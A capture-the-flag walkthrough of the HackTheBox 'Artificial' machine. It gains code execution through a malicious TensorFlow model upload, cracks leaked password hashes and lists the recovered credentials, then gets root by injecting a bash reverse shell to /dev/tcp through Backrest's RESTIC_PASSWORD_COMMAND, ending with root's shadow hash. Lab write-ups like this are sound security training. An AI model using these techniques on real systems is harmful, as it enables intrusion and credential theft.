HTB-Artificial

HTB-Artificial
eugewxBox Info
| Difficulty | Easy |
|---|---|
| OS | Linux |
| IP Address | 10.10.11.74 |
Port Scanning
1 | # Check all open TCP |
Update DNS
1 | sudo nano /etc/hosts |
Service Enumeration
80/tcp - HTTP
Register an account
Once login it will shows a dashboard and allow us to upload
Check the requirements
Check the Dockerfile
Tensorflow RCE
TensorFlow Remote Code Execution with Malicious Model | CyberBlog
To make it work, we need to create the exploit.h5 file and import os and then execute with the revshell.
Then we need tensorflow:2.13.0 to run python script, here we will create a docker container to generate exploit.h5 file
PoC Tensorflow RCE
Prep the python environment
1 | python3 -m venv venv |
h5payload.py
1 | import tensorflow as tf |
Then execute the docker to generate the .h5 payload
1 | mkdir /app |
upload the exploit.h5 to the webpage and execute with view predictions
Start the listener before execute the script
Here we obtained APP user
Initiate User Foothold
Explore app user
Inside the app user app folder, there is an app.py script leaked the secret_key
1 | app = Flask(__name__) |
users db file is located at ~/app/instance/
Download to local KALI and check all the user hashed password
Brute force password
1 | john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt gael.hash |
only GAEL and ROYER user hash are cracked. Validate with netexec
1 | nxc ssh 10.10.11.74 -u user.txt -p pass.txt --continue-on-success |
1 | gael : mattp005numbertwo |
Gael SSH
1 | ssh gael@10.10.11.74 |
User Flag
Privilege Escalation
LinPEAS
sqlite
GROUP writeable file
Local listening port
9898/tcp - Backrest
Port forward to local KALI
1 | ssh -L 9898:127.0.0.1:9898 gael@10.10.11.74 |
It is **Backrest 1.7.2 ,**tested with credentials we had now, but none of them able to login. Check again on the LinPEAS, there is a directory named backrest in /opt
inside the install.sh there is a config file to perform backup using restic
Upon checking the /var/backups fund a backrest_backup.tar.gz
Extract it out and check what can we get from this tar file
1 | tar -xvf backrest_backup.tar.gz |
Here it leaked the backrest_root credentials
backrest/.config/config.json
1 | { |
Brute force backrest_root Bcrypt
1 | john --format=bcrypt -w /usr/share/wordlists/rockyou.txt backrest_root.hash^ |
1 | backrest_root : !@#$%^ |
Initiate Root Foothold
Backrest Dashboard
Used the credentials found to login and it lead to the dashboard
https://github.com/garethgeorge/backrest
From adding restic repo inside Env Vars shows the requirement for the RESTIC_PASSWORD, and found there is an interesting Env is RESTIC_PASSWORD_COMMAND. Perhaps, I can abuse it with normal bash command
1 | RESTIC_PASSWORD_COMMAND= bash -c ' bash -i >& /dev/tcp/10.10.xx.xx/9001 0>&1' |
While pressing the test configuration, command works!
Root flag
Hashdump
1 | root:$6$UUrrHE6LTPdhmLil$v9nJaHljuUC0gR5HBAqVWvnDVgYoNYE6EvjIEGNykwadZ8w8gOu212j5bipzK72.nBtx/0h4z4CPki/Ac2f1i1:20015:0:99999:7::: |






































